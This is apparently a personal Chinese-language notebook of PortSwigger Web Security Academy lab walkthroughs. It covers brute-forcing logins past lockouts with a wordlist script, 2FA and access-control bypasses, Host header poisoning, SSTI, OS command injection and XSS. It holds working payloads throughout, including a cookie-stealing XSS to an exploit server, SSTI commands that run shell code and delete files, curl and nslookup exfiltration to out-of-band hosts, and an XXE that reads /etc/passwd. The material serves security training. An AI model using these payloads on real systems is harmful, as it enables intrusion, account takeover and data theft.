具体做法是使用 Burp 的 Pitchfork(干草叉) 攻击模式,并将并发请求数设为 1(确保请求严格按顺序发送),同时构造两个一一对应的字典:用户名字典交替填入“我的账号”和“目标账号”,密码字典交替填入“我的正确密码”和“候选弱密码”。攻击时按顺序发送:先用我的账号成功登录(重置计数),再连续猜 2 次目标密码(失败计数=2),然后再次用我的账号登录重置。这样循环往复,始终不触发封禁,可高效爆破目标密码。

还有一种情况是封 IP 时依赖 X-Forwarded-For 来源头,如果开发不严谨直接信任客户端传来的头,这就可能被篡改绕过。可以借助 Burp 插件 random-ip-address-header,让所有请求的 X-Forwarded-For 动态变化,每次都不同,理论上可以开到最大并发进行攻击。

https://github.com/portswigger/random-ip-address-header

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

root@tanqidi:/share-window/share# cat gen.sh 
#!/bin/bash

# ===== 配置区域(修改这里)=====
YOUR_USER="wiener"
YOUR_PASS="peter"
TARGET_USER="carlos"
PASSWORD_DICT="burpsuite-password-dict.txt"      # 你的密码字典文件
STEP=2                             # 每成功登录1次,猜几次密码(建议2,因为3次封禁)
# ============================

# 清空输出文件(使用 > 覆盖)
> usernames.txt
> passwords_aligned.txt

# 读取密码字典到数组
mapfile -t passwords < "$PASSWORD_DICT"
total=${#passwords[@]}

# 分批处理
for ((i=0; i<total; i+=STEP)); do
    # 先加自己的正确登录(重置计数器)
    echo "$YOUR_USER" >> usernames.txt
    echo "$YOUR_PASS" >> passwords_aligned.txt
    
    # 连续猜 STEP 次
    for ((j=0; j<STEP && i+j<total; j++)); do
        echo "$TARGET_USER" >> usernames.txt
        echo "${passwords[i+j]}" >> passwords_aligned.txt
    done
done

# 统计
user_count=$(wc -l < usernames.txt)
pass_count=$(wc -l < passwords_aligned.txt)

echo "✅ 生成完成!"
echo "   步长: $STEP(每登录1次,猜 $STEP 次密码)"
echo "   密码总数: $total"
echo "   用户名列表: usernames.txt ($user_count 行)"
echo "   密码列表:   passwords_aligned.txt ($pass_count 行)"

2FA 简单绕过

爆破账号与密码登录成功但是遇到 2FA 页面时,不要第一时间把精力放在验证码本身,可以先观察登录成功后服务器是否已经下发了 Session。如果用户名密码验证通过后已经获得了有效 Session,那么此时更值得测试的是认证状态是否真正受到 2FA 保护。直接携带当前 Session 访问 /my-account/profile/settings/api/user 等正常业务页面,观察后端是否仅校验 Session 存在而未校验 2FA 状态。如果业务页面能够正常访问,则说明系统存在 2FA 绕过或认证状态校验缺陷。很多情况下问题并不在验证码本身,而是在服务端错误地将“密码验证成功”与“完成登录认证”混为一谈,导致攻击者无需输入验证码即可访问受保护资源。

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

双因素认证简易绕过

用户使用自己的账号完成用户名密码认证后,系统进入 /login2 双因素认证阶段,并为当前账户生成对应的 2FA 验证码。由于服务端通过客户端可控的 verify Cookie 来确定验证码所属用户,攻击者可以重放请求并将 verify=wiener 修改为 verify=carlos,从而诱导系统为 Carlos 账户生成新的 2FA 验证码。随后在验证码验证阶段继续保持 verify=carlos,对 mfa-code 参数进行暴力破解。一旦验证码猜测成功,服务端会直接将认证结果绑定到 Carlos 账户,最终实现无需密码接管目标账户。

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

延迟响应盲测

延迟响应盲测是一种通过响应时间差异判断后端执行逻辑的测试方法。当应用返回内容完全一致,无法从响应包直接获取结果时,可以观察请求耗时来推断条件是否成立。例如用户名存在时会执行密码哈希校验、数据库查询或其他耗时操作,而用户名不存在时直接返回错误,从而产生明显时间差。测试时可通过 Burp Intruder 发送多组请求,对响应时间进行统计分析,若某些请求耗时明显高于其他请求,则可能说明触发了额外的后端逻辑,可进一步用于用户名枚举、SQL注入盲注、命令执行盲测等场景。

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

密码重置逻辑故障

密码重置功能存在逻辑验证缺失,在修改密码阶段后端仅依赖客户端提交的 username 参数确定修改对象,并未校验重置链接中的 token 是否与当前用户绑定。攻击者可先为自己的账户发起密码重置获取合法请求,再将 username 修改为受害者账户,由于服务端未验证 token 的有效性及归属关系,导致可越权重置任意用户密码并接管账户。

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

通过帐户锁定枚举用户名

登录功能存在用户名枚举漏洞,系统针对连续登录失败的有效用户实现了账户锁定机制,但不同场景返回了不同的错误信息。当攻击者使用不存在的用户名进行登录时返回普通认证失败,而对真实存在的用户名连续尝试多次错误密码后则返回账户锁定提示。由于系统暴露了账户状态差异,攻击者可通过观察响应内容、响应长度或错误提示枚举出有效用户名,随后再针对该用户进行密码爆破,最终实现账户接管。

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock

记住我功能设置了 stay-logged-in Cookie,对其进行 Base64 解码后发现格式为 username:md5(password)。由于 Cookie 生成规则可预测,攻击者可利用 Intruder 对密码字典执行 MD5 哈希、拼接用户名前缀并进行 Base64 编码,批量构造目标用户 Cookie。当响应中出现 Update email 等已登录特征时,即表明 Cookie 构造成功,从而无需知道真实密码即可伪造目标用户身份完成登录。重放测试不要带有session否则会一直识别到先前的账号,无法出结果

xss窃取cookie与离线密码破解

该实验室同时存在存储型 XSS 与弱 Remember Me 机制。首先利用评论功能注入 XSS Payload (<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>)窃取受害者 Cookie,获取到 stay-logged-in 后对其进行 Base64 解码,可发现其格式为 username:md5(password)。提取其中的 MD5 值后可优先尝试在线彩虹表查询,简单密码通常能够直接恢复明文,无需进一步爆破。

若无法直接解出明文密码,则可根据 Cookie 生成规则使用 Intruder 进行构造,按照 MD5 → 添加用户名作为前缀 → Base64 编码 的顺序处理字典中的密码候选值,批量生成合法 Cookie 进行测试。当响应出现已登录特征时即可确定正确密码或有效 Cookie。

需要注意的是,测试过程中应移除原有 Session Cookie,否则服务端会优先识别当前已登录会话,导致构造出的 stay-logged-in Cookie 无法生效,从而影响结果判断。

https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking

通过更改密码进行密码暴力破解

在修改密码时需要验证当前密码。如果当前密码错误,系统会返回“Current password is incorrect”之类的提示;而当当前密码正确时,系统会继续校验两次输入的新密码是否一致。

因此可以故意将两次新密码填写为不同的值,利用响应差异来判断当前密码是否正确:

  • 当前密码错误 → 返回 Current password is incorrect

  • 当前密码正确,但两次新密码不同 → 返回 New passwords do not match

这导致密码修改接口形成了一个密码验证。攻击者无需真正修改密码,只需不断替换 current-password 参数并观察响应内容,即可判断某个密码候选是否正确。

在 Burp Intruder 中将用户名修改为目标用户 carlos,固定两次新密码为不同值,对 current-password 参数进行字典爆破。通过 Grep Match 匹配 New passwords do not match 响应,即可从候选密码列表中识别出正确密码。

本质上这是由于密码修改流程暴露了过于详细的校验结果,不同验证阶段返回了可区分的错误信息,从而产生了响应差异漏洞(Response Discrepancy),使攻击者能够枚举并爆破用户密码。

https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change

通过中间件进行密码重置投毒攻击

10. HTTP 头攻击

# Host主机头认证绕过
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-authentication-bypass
用dirsearch扫出/admin也或者是/robots.txt中也能看出 尝试访问提示Admin interface only available to local users,将Host头更改为localhost即可绕过,应用将 Host 头作为权限判断依据,未正确验证用户身份。攻击者通过伪造 Host 头即可绕过访问控制,访问管理员面板并执行管理员操作。


# 通过模糊请求进行 Web 缓存投毒
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-web-cache-poisoning-via-ambiguous-requests
先来到go to exploit server 创建一个文件叫/resources/js/tracking.js内容是alert(document.cookie) 并且复制域名,来到首页加上第二个Host: exploit-0aeb0022041f24a280efd42b01af002c.exploit-server.net   路径变成/?a=111 加上随意的参数让缓存失效 可以看响应头(X-Cache: miss) 他会重新按照Host来获取脚本 此时就会缓存的html原本加载的正常js地址变成恶意域名 达到投毒的效果
AI:正常情况下,首页会引用站点自身的 /resources/js/tracking.js 文件。当攻击者修改 Host 头后,应用生成的 HTML 会将脚本引用地址指向攻击者控制的域名。由于缓存服务器未正确区分不同 Host 对应的响应内容,该恶意 HTML 被写入缓存。最终导致所有访问首页的用户均会获取被污染的缓存页面,并从攻击者服务器加载脚本资源,实现客户端代码注入


# 基于路由的SSRF
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-routing-based-ssrf
按题目给出提示 可以抓包先到repeater重放器选中Host头右击粘贴insert collaborator payload点击发送,来到collaborator刷新看是否有内容来判断是否有ssrf漏洞,再按提示他的网段是192.168.0.0/24  来到intruder入侵器将Host改成192.168.0.* 循环从0到255即可,重要的是不要勾选 update Host header to match target 否则这里不会生效,始终会将Host改成目标target域名,攻击排序看302重定向则是目标 完了拼接/admin即可往下操作


# 通过错误的请求解析实现ssrf
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-ssrf-via-flawed-request-parsing
1. 漏洞根因是前端路由组件与后端应用对请求目标主机的解析逻辑不一致。对于普通请求 GET /,前端只能依赖 Host 头判断目标站点,当 Host 被修改为非本站域名时,请求会被前端设备直接拦截并返回 403,无法进入后端应用。
2. 但当请求使用绝对 URL 形式 GET https://victim.com/ 时,前端路由优先根据请求行中的目标主机进行站点匹配,因此认为请求属于合法站点并放行。请求到达后端后,应用程序却继续信任并使用用户可控的 Host 请求头构造 URL 或发起请求,导致后端实际处理的目标主机与前端路由时识别的目标主机不一致。攻击者可借此绕过 Host 校验,实现 Host Header Injection 或 Routing-Based SSRF。
以此类推GET就绝对路径拼接admin出界面,删除就如下抓包POST发过去
POST https://0a0300b60489d96080a89e5a005400c6.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.137


# 通过连接状态攻击绕过主机验证
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-host-validation-bypass-via-connection-state-attack

基本密码重置中毒

https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning/lab-host-header-basic-password-reset-poisoning

攻击者通过重置密码篡改 HTTP 请求中的 Host 头,诱导服务端使用攻击者控制的域名来构造对外的绝对 URL(尤其是密码重置邮件链接)。服务端错误地信任客户端提供的 Host 值,把包含敏感 Token 的恶意链接发给受害者,最终导致 Token 被外带到攻击者服务器,实现账号接管。

我的理解关键:Host 头和其他 Header 一样,只是一行可以随意修改的普通文本。Burp 修改 Host 时,实际 TCP 连接目标不变(仍发给真实服务器),只是服务端“看到”的内容被污染了。正常情况下 Host 必须和访问域名一致,漏洞正是服务端没有校验,直接拿它生成重要链接。

重置密码发起 POST /forgot-password HTTP/2 将username改成carlos将Host改成Host: wiener@exploit-0a95006004442a8a800c021801880060.exploit-server.net 来到go to exploit server 查看日志即可看到受害者 carlos 点击了右键触发的日志

10.0.4.42 2026-06-18 01:58:24 +0000 "GET /forgot-password?temp-forgot-password-token=hy462hjp32nmade7brapf5jvw4dpe8pa HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

11. SSTI

可以在kali装sstimap尝试扫描

基础服务器端模板注入

使用sstimap扫描出是Engine: Erb 它是 Ruby 官方自带的模板引擎。

GET /?message=<%= 7*7 %> HTTP/2

GET /?message=<%= system('id') %> HTTP/2

https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic

基础服务器端模板注入(代码上下文)

Tornado 是一个 Python 高性能异步 Web 框架,自带 Tornado Template 模板引擎。进入账号页面后,修改 Preferred name 字段会发起请求:blog-post-author-display=user.first_name&csrf=gPtvpmgnYD5fCLFhpt4tPgZIuPnbxwiC 将参数值替换为 {{ 7*7 }} 后提交,刷新页面发现原本显示作者名称的位置变为 49。这表明用户输入被当作 Tornado 模板表达式进行解析和执行,从而成功验证目标存在服务端模板注入(SSTI)漏洞。

{{ 7*7 }}

{{ import('os').system('id') }}

{{ import('subprocess').check_output('id', shell=True).decode() }}

user.name}}{% import os %}{{os.system('cat /etc/hosts')

https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context

使用文档进行服务器端模板注入

在编辑商品时可以预览在这可以触发ssrt,尝试使用{{7*7}}或者${7*7} 或者尝试引用一个不存在的变量让它报错${hello} 这样能方便定位是什么模板引擎,报错信息看是Freemarker模板引擎

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")})

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("rm -rf /home/carlos/morale.txt")}

https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation

使用未知语言进行服务器端模板注入

此为Handlebars模板引擎,它太难了只能用靶场的poc,点击商品后会在页面中提示没有库存之类的说辞在message参数中,简单url编码一下拼接上message参数即可

https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit

通过用户提供的对象进行服务器端模板注入并泄露信息

编辑商品直接一波插入看报错信息得知模板引擎是什么发现是Django 模板 尝试用{% debug %},让ai分析得知有settings对象,最终执行是 {{settings.SECRET_KEY}}

{{7*7}}
{{self}}
{{config}}
{{config.items()}}
{{request}}
{{request.__dict__}}
{{self.__dict__}}

{% debug %}
{{settings}}
{{request}}
{{request.user}}
{{request.META}}
{{request.path}}
{{request.GET}}
{{request.POST}}

https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects

沙盒环境下的服务器端模板注入

https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment

12. 系统命令注入

直接用burpsuite scan扫描出结果

# 操作系统命令注入,简单案例
https://portswigger.net/web-security/os-command-injection/lab-simple
productId=1|echo $(whoami)&storeId=1


# 带时间延迟的盲操作系统命令注入,直接scan一扫就出来了,延迟10秒他打出了20秒的命令,连续ping21次
https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
csrf=pRA0Fxq4SiQVjdws9TTRFAJrRD48ajHS&name=hello&email=wiener@exploit-0a94005c03622119800d258901aa0068.exploit-server.net%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23'%20%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23%5c%22%20%7cping%20-n%2021%20127.0.0.1&subject=hello&message=hello
# 在email
csrf=pRA0Fxq4SiQVjdws9TTRFAJrRD48ajHS&name=hello&email=1330884822%40qq.com||ping -c 20 127.0.0.1||&subject=hello&message=hello


# 盲注操作系统命令并重定向输出,直接scan一扫就出来了
要求将whoami写进/var/www/images/ 在email里面写入即可,对应命令hello@qq.com|echo $(whoami) > /var/www/images/1.txt 完了去界面找路径请求一下
https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
csrf=a8TYA8xeyYq7s0IkgLMVVgf2wL8ewtmm&name=hello&email=hello@qq.com%7Cecho%20%24(whoami)%20%3E%20%2Fvar%2Fwww%2Fimages%2F1.txt&subject=hello&message=hello


# 带外交互的盲操作系统命令注入,直接scan一扫就出来了,外带dns检测,hello@qq.com|nslookup -q=nslookup gi2r94jdvfd617pexizhhf4medk48w9ky.oastify.com.&
https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band
csrf=SfKPhmEOUKzF9RR43W0efL9m1fdTjFtZ&name=hello&email=hello%40qq.com%7Cnslookup%20-q%3Dnslookup%20gi2r94jdvfd617pexizhhf4medk48w9ky.oastify.com.%26&subject=hello&message=hello


# 盲注操作系统命令并带外数据泄露,hello@qq.com|curl $(whoami).u505wi6rit0kolcskwmv4tr01r7ivazyo.oastify.com
https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration
csrf=2wxL30g77W1ozKwpSMJljKhMAFO92oJL&name=hello&email=hello%40qq.com%7Ccurl%20%24(whoami).u505wi6rit0kolcskwmv4tr01r7ivazyo.oastify.com&subject=hello&message=hello

13. 信息披露

# 错误信息中的信息泄露
https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages
故意写错例如fff会报错出现框架版本号
/product?productId=fff


# 调试页面上的信息披露,直接dirsearch扫一下就能出目录结果
https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages


# 通过信息泄露绕过身份验证
https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass
通过dirsearch爆出有/admin路径,访问提示 Admin interface only available to local users 将GET /admin改成TRACE /admin,看响应调整请求头欺骗一下,即可绕过删除,第一次用TRACE 说它可以让服务端原封不动的响应请求内容 debug 调试
X-Custom-Ip-Authorization: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Client-Ip: 127.0.0.1


# 版本控制历史中的信息披露
https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history
使用dirsearch扫出有.git并且是可以直接浏览的使用wget -r来完整下载
wget -r https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git
进去目录使用git来查看分支与查看详情
git log
git show [id]

14. 访问控制漏洞

# 未受保护的管理员功能
https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality
使用burp scan扫描得到/robots.txt在里面得到了管理员地址


# 管理员功能不受保护,URL 不可预测,这个实验室的管理面板没有安全防护。它的位置难以预测,但具体位置在应用程序的某个地方已经公开
https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url
通过dirsearch扫没结果,通过burp scan扫一遍可以在target > 目标 > engagement tools > find scripts 中找到泄露脚本的路径,脚本泄露也是一种方式,找到未授权接口


# 用户角色由请求参数控制
https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter
使用可伪造的 cookie 来识别管理员,用dirsearch扫出/admin访问抓包有admin=false 设置为true,要burp scan与dirsearch交替使用更合适
Cookie: Admin=true; session=H4sFc8usFOESHkbD6GQjb4g4Un00k4ZR


# 用户角色可以在用户个人资料中修改。
https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile
登录进去修改信息抓包发现有个roleid=1,重发器修改成2就越权成功了,有时候修改信息填入无法在界面传入的数据会造成越权,对于资料修改等功能,服务端应仅允许修改预定义的业务字段,并将修改目标固定为当前登录用户对应的数据记录,避免客户端通过篡改用户标识、角色标识等参数实现水平越权或垂直越权访问。
{
  "email": "wiener@normal-user.net",
  "roleid": 2
}


# 用户 ID 由请求参数控制
https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter
登录成功后发现/my-account?id=wiener有用户标识,直接改为其他用户例如carlos就横向移动了,要么是url要么可能是在cookie中


# 用户 ID 由请求参数控制,用户 ID 不可预测
https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids
即使系统采用 UUID 等不可预测的用户标识,其他用户的 ID 仍可能通过用户列表、评论、消息、组织架构、接口响应或前端渲染数据等业务功能被间接泄露,从而成为越权测试的重要突破口。


# 用户 ID 由请求参数控制,重定向过程中存在数据泄露
https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect
登录成功后发现/my-account?id=wiener有用户标识,将id改成carlos 瞬间跳转到login 但实际上它已经响应泄露了carlos的数据了然后才做的权限校验不对给跳转到登录页面。
系统表面上看拦截了访问,实际上是先把 Carlos 的数据发给你了,然后才把你踢到登录页面。相当于把答案先递到你手里,再告诉你“你没资格看”,权限校验完全做反了。


# 用户 ID 由请求参数控制,且存在密码泄露
https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure
登录成功后发现/my-account?id=wiener有用户标识,改成 administrator 他直接就泄露渲染了这个用户的信息出来,关键他还泄露了密码响应在password input中,抓包提取密码进去删除Carlos 


# 不安全的直接对象应用
https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references
靶场有里有个聊天室,对话一下点击下载文件?看他是1.txt  2.txt 以此类推,直接用intruder爆破从1到999  排序看状态码 再看response 似乎是看到了有人忘记密码的对话。。。


# 基于URL的访问控制可以被绕过(有点难度,但不多)
https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented
1. 提交访问/admin会被拦截 加上X-Original-Url: /admin即可绕过,风格的解析差异问题 前端和后端对请求URL的解析不一致导致前端拦截失效,但是后端却认X-Original-Url: /admin 这个路径然后后端处理并响应了/admin
2. 这个漏洞的核心在于,系统代理层根据请求行中的路径(/)放行请求,但后端应用却提取了请求头中的路径(/admin)进行路由。由于前后端对路径的解析不一致,攻击者通过添加自定义头,使得/通过安全检查后执行了/admin的敏感逻辑,导致访问控制被绕过。根本原因是后端不应信任客户端可控的路径重写头。
先GET /?username=carlos绕过admin 然后加上X-Original-Url: /admin/delete让后端识别是这个路径路径,然后他会从URL中拿参数  完成删除


# 基于方法的访问控制可以被绕过
https://portswigger.net/web-security/access-control/lab-method-based-access-control-can-be-circumvented
可以用dirsearch扫出/admin,也可以用给出的管理员账号进去,并随意更改一下权限,抓包,看到结构如下
POST /admin-roles HTTP/2
....
username=carlos&action=upgrade
1. 切换到wiener直接对他发起请求尝试提权出错,右键用change request method 将post转成get变成GET /admin-roles?username=wiener&action=upgrade HTTP/2即可绕过,开发应该是只做了post校验没有做get校验,这也是一个渗透点
2. 测试发现系统的访问控制与 HTTP Method 绑定。当使用普通用户发送原始 POST 请求时,服务端返回 Unauthorized;将请求方法修改为不存在的 POSTX 后,响应变为 Missing Parameter,说明请求已绕过原有权限校验并进入业务处理逻辑。进一步将请求转换为 GET 请求后,成功执行管理员功能,实现权限提升。该漏洞本质上是权限校验依赖请求方法而非受保护资源本身,导致攻击者可通过修改 HTTP Method 绕过访问控制。


# 多步骤流程,其中一步没有访问控制
https://portswigger.net/web-security/access-control/lab-multi-step-process-with-no-access-control-on-one-step
1. 登录管理员随意为用户变更权限抓包,发现第一步是username=wiener&action=upgrade 页面渲染是否提权 这一步是有权限校验的,点击yes发出action=upgrade&confirmed=true&username=carlos 这一步丢失了权限校验,普通用户发起调用也能通过
2. 管理员权限变更功能采用两步流程实现。第一步 username=wiener&action=upgrade 用于发起提权申请,并进行了权限校验;第二步 action=upgrade&confirmed=true&username=carlos 用于确认执行提权操作,但该步骤缺失服务端访问控制校验。攻击者可绕过第一步,直接构造第二步请求完成权限提升,属于典型的多步骤流程中部分接口缺失访问控制(Multi-Step Process with Missing Access Control)漏洞。


# 基于引用来源的访问控制
https://portswigger.net/web-security/access-control/lab-referer-based-access-control
1. 登录管理员随意为用户变更权限抓包,发现是 GET /admin-roles?username=wiener&action=upgrade HTTP/2  他还有个Referer: https://xxxxx/admin  他是靠Referer来进行访问控制的,切换到普通用户重放加上Referer接口绕过。
2. 管理接口仅依赖 HTTP Referer 头判断请求来源,未校验当前用户权限。由于 Referer 可被客户端任意伪造,普通用户通过构造包含 /admin 的 Referer 即可访问管理员功能,导致垂直权限提升。

15. 必备技能

# 利用定向扫描快速​​发现漏洞
https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-discovering-vulnerabilities-quickly-with-targeted-scanning
看到有检查库存接口,有时间限制 直接发送到burp scan扫描 扫出有xxe  直接用上面的xxe payload打一下出结果
productId=1<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1


# 扫描非标准数据结构
https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures

16. XSS

xss速查表 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

# 在不进行任何编码的情况下,将反射型 XSS 漏洞引入 HTML 上下文
https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
在输入框直接输入<script>alert(1)</script>


# 将 XSS 漏洞存储到 HTML 上下文中,但未进行任何编码
https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded
在评论留言页面直接输入<script>alert(1)</script>


# 通过 document.write
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink
javascript中有document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
他将内容给塞到了img标签中,输入内容通过"><svg onload=alert(1)> 截断并且释放后面的标签来实现xss


# 通过 innerHTML 
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
javascript中有document.getElementById('searchMessage').innerHTML = query;
他将内容通过innerHTML给显示在标签中,通过输入<svg onload=alert(1)> 或者 <img src=1 onerror=alert(1)> 


# 通过 href
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink
输入内容被用于href接收<a id="backLink" href="aaa">Back</a> 直接改成javascript:alert(document.cookie) 他就被href包住了


# 使用 hashchange 事件在 jQuery 选择器接收器中引入 DOM XSS 漏洞
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event
他利用了快速导航/#Perseverance 但是实现用Jquery的$()他是可以嵌入xss的 /#Perseverance<img src=1 onerror=alert(1)>
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
最后来到go to exploit server页面粘贴YOUR-LAB-ID触发一下,模拟受害者点击
                    


# 反射型 XSS 攻击,攻击对象为带有尖括号的 HTML 编码属性
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle-brackets-html-encoded
输入内容给整进了<input type="text" placeholder="Search the blog..." name="search" value="aaa"> value中,输入内容打破它
" onfocus="alert(1)" autofocus="
"onmouseover="alert(1)


# 将 XSS 存储在href带有双引号的 HTML 编码的锚属性中
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded
输入Website内容会渲染在href中 <a id="author" href="javascript:alert(1)">aa</a> 然后使用javascript:alert(1)


# 利用反射型 XSS 攻击攻击带有尖括号的 HTML 编码 JavaScript 字符串
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded
<script>
   var searchTerms = 'aaa';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
输入的内容进去了script中的变量然后被渲染进了img标签,直接 ';alert(1);//


# 在 select 元素中document.write使用 source 实现 DOM XSS 攻击location.search
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element
他会读取storeId拼接生成select直接 /product?productId=1&storeId=</option><script>alert(1)</script>


# AngularJS 表达式中涉及尖括号和双引号的 DOM XSS 漏洞(HTML 编码)
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression
怎么回到了ssti了,问ai结果是 
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}



# 反射型 DOM XSS
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected
payload是\"-alert(1)}//      看他的searchResults.js其中有eval('var searchResultsObj = ' + this.responseText);
你输入的:           \"-alert(1)//
                    ↓↓↓↓↓↓↓↓↓↓↓↓
服务器返回的JSON:    {"results":[],"searchTerm":"\"-alert(1)//"}
                                          ↑↑            ↑↑
                                       字符串开始     被转义了!
                                       
实际被eval执行的:    var searchResultsObj = {"results":[],"searchTerm":""-alert(1)//"};
                      
                      searchTerm 的值是空字符串("")
                                       ↓
                                   然后执行 -alert(1)
                                       ↓
                                    // 注释掉后面所有内容



# 存储型 DOM XSS
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored
看他js是偷懒没有在后端做转义,在前端用replace尝试替换以为是全部结果只是第一层 他不是全部替换,这样就绕过了<><img src=1 onerror=alert(1)>
function escapeHTML(html) {
   return html.replace('<', '&lt;').replace('>', '&gt;');
}


# 在大多数标签和属性被屏蔽的情况下,反射型 XSS 攻击被引入到 HTML 上下文中
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked
首先在搜索页面尝试注入xss会被拦截  GET /?search=<?> 来到burpsuite的xss速查表复制tag然后爆破看结果,看哪个没被拦截,结果得到body
1. GET /?search=<body ?=1>
得到body标签后,需要继续爆破events,看到有不少是200的,使用onresize来触发print() 发起请求重新拖动浏览器就触发onresize效果了
2. GET /?search=<body onresize=print()>
最后来到go to exploit server页面粘贴YOUR-LAB-ID触发一下,模拟受害者点击
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>


# 在HTML上下文中测试反射型XSS攻击,屏蔽所有标签,只允许自定义标签
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-all-standard-tags-blocked
payload为<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>


# 允许使用 SVG 标记的反射型 XSS 攻击,该网站屏蔽了常见的标签,但漏掉了一些 SVG 标签和事件
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed
可以用burpsuite的xss速查表结合intruder逐一爆破支持的标签与属性 payload为 <svg><animatetransform onbegin="alert(1)">


# 规范链接标签中的反射型 XSS 攻击,如果内容被拼接到link中需要被注意下
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed
尝试输入内容/?search=aaa他会将内容拼接到head中的link
<head>
   <link rel="canonical" href="https://xxxx/?search=aaa">
</head>
payload为/?search=aaa'accesskey='X'onclick='alert(document.cookie)他最终就变成了 <link rel="canonical" href="https://xxxx/?search=aaa" accesskey="X" onclick="alert(1)">  按ctrl+x 触发弹窗,机智


# 利用反射型 XSS 攻击,将单引号和反斜杠转义到 JavaScript 字符串中
